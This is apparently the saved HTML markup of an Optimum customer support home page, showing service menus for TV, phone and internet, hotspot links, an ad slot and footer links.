dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary clear cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet find a nearby hotspot"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Find a nearby hotspot</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> <div class="span5 three-col-two"> <div class="serviceWrapper"> <div class="detailsHeader"> <div class="mcafee-icon"></div> <div class="serviceBlockHeader">Internet protection powered by McAfee</div> </div> <br> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet McAfee learn more"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn more</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span3 three-col-three"> <div class="serviceRightSpan"> <ul> <li><a ng-href="#" omtr="trackme" title="Home| Home| Myservices Internet smart router" href="#"> <span ng-show="ooluser.ftthGen7User" style="display: none;">Manage gateway</span> <span ng-hide="ooluser.ftthGen7User">Smart router</span> </a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Internet spam scrub">Spam scrub</a></li> <li><a ng-show="ooluser.p.btm" href="#" omtr="trackme" title="Home| Home| Myservices Internet speed test" style="display: none;">Speed test</a></li> </ul> </div> </div> </div> <!--La Box User --> <div class="row" ng-show="ooluser.laBoxUser" style="display: none;"> <div class="span4 three-col-one borderRt"> <div class="serviceWrapper"> <div class="detailsHeader wifiblock-icon"> <div class="serviceBlockHeader multiline"> You have <span class="noofboxes ng-binding"></span> device<span ng-show="HomeCtrl.hasMultipleDevices" style="display: none;">s</span> enabled <span class="wifitext">for free automatic access to <span class="important"> over 2 million </span> Optimum WiFi hotspots</span> </div> </div> <div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet manage devices"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage Devices</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary clear cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet find a nearby hotspot"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Find a nearby hotspot</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> <div class="span5 three-col-two"> <div class="serviceWrapper"> <div class="detailsHeader"> <div class="labox-router-icon"></div> <div class="serviceBlockHeader">Router</div> </div> <br> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet smart router"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage gateway</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span3 three-col-three"> <div class="serviceRightSpan"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Internet spam scrub">Spam scrub</a></li> <li><a ng-show="ooluser.p.btm" href="#" omtr="trackme" title="Home| Home| Myservices Internet speed test" style="display: none;">Speed test</a></li> </ul> </div> </div> </div> </div> </div> </div> </div> </section> <!-- MY SERVICES SECTION Mobile view--> <div ng-show="HomeCtrl.myServices.length > 0 && !HomeCtrl.isBusinessAccount" style="display: none;"> <section id="myServices" class="myservices hidden-tablet hidden-desktop"> <div class="container"> <div class="row"> <div class="span12"><h1>My services</h1><a href="#" class="btn btn-upgrade" ng-show="HomeCtrl.serviceUpgrade" style="display: none;">Upgrade</a></div> </div> <div class="row"> <div class="span4"> <!-- ngRepeat: myService in HomeCtrl.myServices --> </div> </div> <div class="row"> <div class="watchMenu" ng-show="HomeCtrl.activeServiceDrawer=='TV'" id="myServicesDetailTV" style="display: none;"> <div class="watchMenuWrapper"> <div class="row" ng-hide="ooluser.laBoxUser"> <div class="span4"> <div class="serviceWrapper"> <div class="span4 inlineFix"> <div class="servicetier ng-binding"></div> <div class="serviceInfo">Includes free access to On Demand, the Optimum App and more.</div> </div> <hr> <div class="span8 inlineFix"> <div class="detailsHeader cablebox-icon"> <div class="serviceBlockHeader">You have <span class="noofboxes ng-binding"></span> cable box<span ng-show="HomeCtrl.hasMultipleBoxes" style="display: none;">es</span></div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV setting"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage your cable box settings</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV remote"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Program your remote</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV reboot cable box"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn when and why to reboot your cable box</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <hr> <div class="detailsHeader"> <div class="watchTv-icon"></div> <div class="serviceBlockHeader">Watch TV from your mobile device</div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV download app"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Download the Optimum App</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV tvtogo"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">With TV to GO watch TV when you're away from home, anywhere there's internet</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span4"> <div class="serviceRightSpan"> <div ng-hide="HomeCtrl.showSettings.tv" class="span12 btn btn--primary" ng-click="HomeCtrl.showSettings.tv=true; HomeCtrl.scrollToNextSectionMobile('myServicesDetailTV');">More features and settings</div> <div ng-show="HomeCtrl.showSettings.tv" style="display: none;"> <div class="moreFeatureHeader">More features and settings</div> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV tv channel guide">TV channel guide</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV DVR">DVR</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV On Demand">On Demand</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV pay per view">Pay per view</a></li> </ul> </div> </div> </div> </div> <!-- La Box User on Mobile--> <div class="row" ng-show="ooluser.laBoxUser" style="display: none;"> <div class="span4"> <div class="serviceWrapper"> <div class="span4 inlineFix"> <div class="servicetier ng-binding"></div> <div class="serviceInfo">Includes free access to On Demand, the Optimum App and more.</div> </div> <hr> <div class="span8 inlineFix"> <div class="detailsHeader la-box-icon"> <div class="serviceBlockHeader">You have <span class="noofboxes ng-binding"></span> cable box<span ng-show="HomeCtrl.hasMultipleBoxes" style="display: none;">es</span></div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV setting"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage your cable box settings</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV remote"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Program your remote</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV reboot cable box"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn when and why to reboot your cable box</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <hr> <div class="detailsHeader"> <div class="watchTv-icon"></div> <div class="serviceBlockHeader">Watch TV from your mobile device</div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV download app"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Download the Optimum App</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices TV tvtogo"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">With TV to GO watch TV when you're away from home, anywhere there's internet</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="span4"> <div class="serviceRightSpan"> <div ng-hide="HomeCtrl.showSettings.tv" class="span12 btn btn--primary" ng-click="HomeCtrl.showSettings.tv=true; HomeCtrl.scrollToNextSectionMobile('myServicesDetailTV');">More features and settings</div> <div ng-show="HomeCtrl.showSettings.tv" style="display: none;"> <div class="moreFeatureHeader">More features and settings</div> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV tv channel guide">TV channel guide</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV DVR">DVR</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV On Demand">On Demand</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices TV pay per view">Pay per view</a></li> </ul> </div> </div> </div> </div> </div> </div> <div class="watchMenu" ng-show="HomeCtrl.activeServiceDrawer=='Phone'" id="myServicesDetailPhone" style="display: none;"> <div class="watchMenuWrapper"> <div class="row"> <div class="span9"> <div class="serviceWrapper"> <div class="span4 inlineFix"> <div class="servicetier">Optimum Voice</div> <div class="serviceInfo">Unlimited calling and over 20 calling features.</div> </div> <hr> <div class="span4 inlineFix"> <div class="detailsHeader phone-icon"> <div class="serviceBlockHeader">Manage your calling features from anywhere</div> </div> <div class="span4"> <div class="phoneDetailSpan"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone voicemail">Voicemail</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone call forwarding">Call forwarding</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone call waiting">Call waiting</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone private outbound calling">Private outbound calling</a></li> </ul> </div> <div class="phoneDetailSpan"> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone find me">Find me</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone vip ringing">VIP ringing</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone block unwated calls">Block unwanted calls</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone backup phone">Backup phone</a></li> </ul> </div> </div> </div> </div> </div> <div class="span4"> <div class="serviceRightSpan"> <div ng-hide="HomeCtrl.showSettings.phone" class="span12 btn btn--primary" ng-click="HomeCtrl.showSettings.phone=true; HomeCtrl.scrollToNextSectionMobile('myServicesDetailPhone');">More features and settings</div> <div ng-show="HomeCtrl.showSettings.phone" style="display: none;"> <div class="moreFeatureHeader">More features and settings</div> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone check voice mail">Check voicemail</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone recent calls">Recent calls</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone international calling">International calling</a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Phone 3-way calling and more">3-way calling and more</a></li> </ul> </div> </div> </div> </div> </div> </div> <div class="watchMenu" ng-show="HomeCtrl.activeServiceDrawer=='Internet'" id="myServicesDetailInternet" style="display: none;"> <div class="watchMenuWrapper"> <div class="row" ng-hide="ooluser.laBoxUser"> <div class="span4 borderRt"> <div class="serviceWrapper"> <div class="span4 inlineFix"> <div class="servicetier ng-binding"></div> <div class="serviceInfo">The most consistent internet service in your area.</div> </div> <hr> <div class="span8 inlineFix"> <div class="detailsHeader wifiblock-icon"> <div class="serviceBlockHeader"> You have <span class="noofboxes ng-binding"></span> device<span ng-show="HomeCtrl.hasMultipleDevices" style="display: none;">s</span> enabled <p><span class="wifitext">for free automatic access to <span class="important"> over 2 million </span> Optimum WiFi hotspots</span></p> </div> </div> <div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet manage devices"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage Devices</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet find a nearby hotspot"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Find a nearby hotspot</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <hr> <div class="span8 inlineFix"> <div class="detailsHeader"> <div class="mcafee-icon"></div> <div class="serviceBlockHeader">Internet protection powered by McAfee</div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet McAfee learn more"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn more</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> <div class="span4"> <div class="serviceRightSpan"> <div ng-hide="HomeCtrl.showSettings.internet" class="span12 btn btn--primary" ng-click="HomeCtrl.showSettings.internet=true; HomeCtrl.scrollToNextSectionMobile('myServicesDetailInternet');">More features and settings</div> <div ng-show="HomeCtrl.showSettings.internet" style="display: none;"> <div class="moreFeatureHeader">More features and settings</div> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Internet smart router"> <span ng-show="ooluser.ftthGen7User" style="display: none;">Manage gateway</span> <span ng-hide="ooluser.ftthGen7User">Smart router</span> </a></li> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Internet spam scrub">Spam scrub</a></li> <li ng-show="ooluser.p.btm" style="display: none;"><a href="#" omtr="trackme" title="Home| Home| Myservices Internet speed test">Speed test</a></li> </ul> </div> </div> </div> </div> <!-- La Box User on Mobile--> <div class="row" ng-show="ooluser.laBoxUser" style="display: none;"> <div class="span4 borderRt"> <div class="serviceWrapper"> <div class="span4 inlineFix"> <div class="servicetier ng-binding"></div> <div class="serviceInfo">The most consistent internet service in your area.</div> </div> <hr> <div class="span8 inlineFix"> <div class="detailsHeader"> <div class="wifiblock-icon"></div> <div class="serviceBlockHeader"> You have <span class="noofboxes ng-binding"></span> device<span ng-show="HomeCtrl.hasMultipleDevices" style="display: none;">s</span> enabled <p><span class="wifitext">for free automatic access to <span class="important"> over 2 million </span> Optimum WiFi hotspots</span></p> </div> </div> <div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet manage devices"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage Devices</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet find a nearby hotspot"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Find a nearby hotspot</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <hr> <div class="span8 inlineFix"> <div class="detailsHeader"> <div class="labox-router-icon"></div> <div class="serviceBlockHeader">Router</div> </div> <span class="primary cta-arrow-link" cta-arrow-link="" href="#" omtr="trackme" title="Home| Home| Myservices Internet smart router"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Manage gateway</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> <div class="span4"> <div class="serviceRightSpan"> <div ng-hide="HomeCtrl.showSettings.internet" class="span12 btn btn--primary" ng-click="HomeCtrl.showSettings.internet=true; HomeCtrl.scrollToNextSectionMobile('myServicesDetailInternet');">More features and settings</div> <div ng-show="HomeCtrl.showSettings.internet" style="display: none;"> <div class="moreFeatureHeader">More features and settings</div> <ul> <li><a href="#" omtr="trackme" title="Home| Home| Myservices Internet spam scrub">Spam scrub</a></li> <li ng-show="ooluser.p.btm" style="display: none;"><a href="#" omtr="trackme" title="Home| Home| Myservices Internet speed test">Speed test</a></li> </ul> </div> </div> </div> </div> </div> </div> </div> </div> </section> </div> <!-- TARGETED MESSAGING SECTION--> <section class="ads" id="bannerad"> <div class="container"> <div class="row"> <!--mp_trans_remove_start--> <div ng-include="" src="'/api/profilecache-parent/services/v1/targetedmessaging/gpt/targetedad/targeted.optimum/home_bot/banner'"> <div id="div-gpt-ad-579216023488959510-2" class="ng-scope"> </div> </div> <!--mp_trans_remove_end--> <!--mp_trans_add <div ng-include src="'/api/profilecache-parent/services/v1/targetedmessaging/gpt/targetedad/targeted.optimum.espanol/home_bot/banner'"></div> --> </div> </div> </section> <!-- LOCAL SECTION--> <section class="ads" id="bannerad"> <div class="container"> <div class="row"> <!--mp_trans_remove_start--> <div ng-include="" src="https://tpc.googlesyndication.com/simgad/17894557675966467594"> <div id="div-gpt-ad-579216023488959510-2" class="ng-scope" data-google-query-id="COzJ7M2b6_YCFQER-QAdct0Pmg"> <div id="google_ads_iframe_/4051/targeted.optimum/home_bot_7__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/4051/targeted.optimum/home_bot_7" name="google_ads_iframe_/4051/targeted.optimum/home_bot_7" title="3rd party ad content" width="968" height="286" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" style="border: 0px; vertical-align: bottom;" data-google-container-id="9" data-load-complete="true" src="https://tpc.googlesyndication.com/simgad/17894557675966467594"></iframe></div></div> </div> <!--mp_trans_remove_end--> <!--mp_trans_add <div ng-include src="'/api/profilecache-parent/services/v1/targetedmessaging/gpt/targetedad/targeted.optimum.espanol/home_bot/banner'"></div> --> </div> </div> </section> <!-- LOCAL SECTION--> <section class="local-info"> <div class="container"> <div class="row"> <div class="span3"> <div class="article"> <a href="https://news12.com/long-islander-with-alopecia-condemns-rocks-bullying-but-says-smith-had-poor-response" class="hidden-phone"><img src="./Optimum _ TV, Phone and Internet Support Home_files/38c22373-83f7-4c23-9bc3-edbef7909c9e.jpg" alt="" border="0"></a> <h4><a href="https://news12.com/long-islander-with-alopecia-condemns-rocks-bullying-but-says-smith-had-poor-response" class="">Long Islander with alopecia condemns Rock's bullying, but says Smith had 'poor response'</a></h4> <span class="primary cta-arrow-link" cta-arrow-link="" href="https://longisland.news12.com/"> <a class="font-cta-link" href="https://longisland.news12.com/"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">More from </span><i class="news12 ng-scope"></i></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> </div> </section> <section class="hotspots-intro"> <div class="container"> <div class="row"> <div class="span12"> <ul class="hotspots-menu"> <li><a data-ng-class="{true: 'active', false: ''}[type == 'hotspots']" ng-click="type='hotspots'" class="active">Hotspots</a></li> <li><a data-ng-class="{true: 'active', false: ''}[type == 'stores']" ng-click="type='stores'">Optimum Stores</a></li> </ul> </div> </div> <div class="row" ng-show="type == 'hotspots'"> <div class="span9"> <h3>Get online for free at your neighborhood hotspots.</h3> </div> <div class="span3"> <span class="primary cta-arrow-link" cta-arrow-link="" href="/internet/hotspots/"> <a class="font-cta-link" href="https://www.optimum.net/internet/hotspots/"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn more</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> <div class="row" ng-show="type == 'stores'" style="display: none;"> <div class="span9"> <h3>Find the closest optimum stores.</h3> </div> <div class="span3"> <span class="primary cta-arrow-link" cta-arrow-link="" href="/support/contact-us/#/optimum-store"> <a class="font-cta-link" href="https://www.optimum.net/support/contact-us/#/optimum-store"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope">Learn more</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> <!-- UPSELL un-auth view only --> <section class="local-footer phone-footer" id="local-phone-upsell-sticky-footer" ng-show="!ooluser.hasOOLSession && HomeCtrl.phoneFooterUpsellShow"> <div class="sticky-wrapper" style="height: 0px;display: none;"><div id="sticky-container" sticky-stack="{viewport:'bottom', stopAt:'.common-footer-links'}" class="ng-scope is-sticky" style="bottom: 110px; position: fixed;"> <div class="container"> <div class="row upsell-footer"> <div> <i class="onet-icons-close close-upsell" ng-click="HomeCtrl.closePhoneUpsellStickyFooter()"></i> <div><div class="tagline-box hidden-desktop hidden-tablet"> <div ng-show="!ooluser.hasOOLSession"> <h2 class="bold"> New to Optimum?</h2> <p> Shop now for exclusive online offers and other great deals</p> <a class="btn btn--primary" href="#" target="_blank">Start shopping</a></div></div> <span class="footer-cta phone-footer-padding cta-arrow-link" cta-arrow-link="" href="#" ng-show="ooluser.hasOOLSession" omtr="trackme" title="Home - Download Support App" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="support-img support-icon ng-scope"></span><span class="support-txt ng-scope">Get help on the go with the Optimum Support App</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> </div> </div></div> </section> <section class="phone-footer1" id="local-phone-upsell-sticky-footer" ng-show="!ooluser.hasOOLSession && !HomeCtrl.phoneFooterUpsellShow" style="display: none;"> <div class="container"> <div class="row upsell-footer"> <div> <i class="onet-icons-close close-upsell" ng-click="HomeCtrl.closePhoneUpsellStickyFooter()"></i> <div><div class="tagline-box hidden-desktop hidden-tablet"> <div ng-show="!ooluser.hasOOLSession"> <h2 class="bold"> New to Optimum?</h2> <p> Shop now for exclusive online offers and other great deals</p> <a class="btn btn--primary" href="#" target="_blank">Start shopping</a></div></div> <span class="footer-cta phone-footer-padding cta-arrow-link" cta-arrow-link="" href="#" ng-show="ooluser.hasOOLSession" omtr="trackme" title="Home - Download Support App" style="display: none;"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="support-img support-icon ng-scope"></span><span class="support-txt ng-scope">Get help on the go with the Optimum Support App</span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> </div> </div> </div> </section> </section><section class="common-footer-links ng-scope" data-ng-controller="CommonFooterCtrl"> <div class="container minHeightFooter"> <div class="row"> <div class="span12" id="is-not-cpc-hr"> <hr> </div> <div class="span4 hidden-desktop hidden-tablet" id="is-not-cpc-footer-social-icon"> <ul><li class="footer-social-icon"> <a class="footer-logo-facebook" href="#"></a> </li> <li class="footer-social-icon"> <a class="footer-logo-twitter" href="#"></a> </li> <li class="footer-social-icon"> <style> .footer-logo-linkedin { background: url(/cdn/static.tvlistings.optimum.net/ool/static/prod/images/sprite_icons-new.png) no-repeat; background-position: -6px -265px; width: 34px; height: 34px; float: left; } .footer-logo-linkedin:hover { background-position: -47px -265px; } </style> <!--<a class="footer-logo-linkedin" href="#"></a> </li>--> </li><li class="footer-social-icon"> <a class="footer-logo-instagram" href="#"></a> </li> <li class="footer-social-icon"> <a class="footer-logo-youtube" href="#"></a> </li> <!--<li class="footer-social-icon"> <a class="footer-logo-google-plus" href="#"></a> </li>--></ul> </div> <div ng-show="!showForNewCustomer" class="span8" id="is-not-cpc-footer-site-links"> <ul class="footer-site-links"> <li><a href="#">TeamViewer</a></li> <li><a href="#">Service Terms & Info</a></li> <li><a href="#">Copyright Policy</a></li> <li><a href="#">Privacy Notice</a></li> <li><a href="#">Report Abuse</a></li> <li><a href="#">Accessibility</a></li> <li><a href="#">Storm Preparedness</a></li> <li><a href="#">Legal Compliance</a></li> </ul> </div> <div class="span9 hide" id="is-cpc-footer-site-links"> <ul class="footer-site-links"> <li><a href="#" target="_blank">Terms of service</a></li> <li><a href="#" target="_blank">Copyright policy</a></li> <li><a href="#" target="_blank">Privacy policy</a></li> <li><a href="#">Legal Compliance</a></li> </ul> </div> <div class="span4 hidden-phone" id="is-not-cpc-footer-social-icon-phone"> <ul class="fltright"><li class="footer-social-icon"> <a class="footer-logo-facebook" href="#"></a> </li> <li class="footer-social-icon"> <a class="footer-logo-twitter" href="#"></a> </li> <li class="footer-social-icon"> <style> .footer-logo-linkedin { background: url(/cdn/static.tvlistings.optimum.net/ool/static/prod/images/sprite_icons-new.png) no-repeat; background-position: -6px -265px; width: 34px; height: 34px; float: left; } .footer-logo-linkedin:hover { background-position: -47px -265px; } </style> <!--<a class="footer-logo-linkedin" href="#"></a> </li>--> </li><li class="footer-social-icon"> <a class="footer-logo-instagram" href="#"></a> </li> <li class="footer-social-icon"> <a class="footer-logo-youtube" href="#"></a> </li> <!--<li class="footer-social-icon"> <a class="footer-logo-google-plus" href="#"></a> </li>--></ul> </div> </div> <div ng-show="showForNewCustomer" class="row paddingTop1em hidden-phone" style="display: none;"> <div class="span3 ipadWidth34"> <ul> <li class="wide ng-binding">� Copyright 2020 CSC Holdings, LLC.</li> </ul> </div> <div ng-show="showForNewCustomer" id="new-customer-links" class="span9 opacityfour ipadWidth65" style="display: none;"> <ul class="footer-site-links"> <li><a href="#" target="_blank">Service Terms & Info</a></li> <li><a href="#" target="_blank">Copyright Policy</a></li> <li><a href="#" target="_blank">Privacy Notice</a></li> <li><a href="#">Legal Compliance</a></li> </ul> </div> </div> <div ng-show="showForNewCustomer" class="row paddingTop1em hidden-desktop hideInDesktop hidden-tablet" style="display: none;"> <div class="span3"> <ul> <li class="marginTopMobile5"><a href="#" target="_blank">Service Terms & Info</a></li> <li class="marginTopMobile5"><a href="#" target="_blank">Copyright Policy</a></li> <li class="marginTopMobile12"><a href="#" target="_blank">Privacy Notice</a></li> <li><a href="#">Legal Compliance</a></li> </ul> </div> <div ng-show="showForNewCustomer" id="new-customer-links" class="span6 opacitypointfour" style="display: none;"> <ul class="footer-site-links"> <li class="wide ng-binding">� Copyright 2020 CSC Holdings, LLC.</li> </ul> </div> </div> <div ng-show="!showForNewCustomer" class="row" id="is-not-cpc-icon-logo"> <div class="span12 partner-icons"> <ul> <li class="wide ng-binding">� 2020 CSC Holdings, LLC.</li> <li class="icon-logo news"><a href="#" class="news12"></a></li><li class="icon-logo"><a href="#" class="varsity"></a></li><li class="icon-logo"><a href="#" class="i24"></a></li><li class="icon-logo"><a href="#" 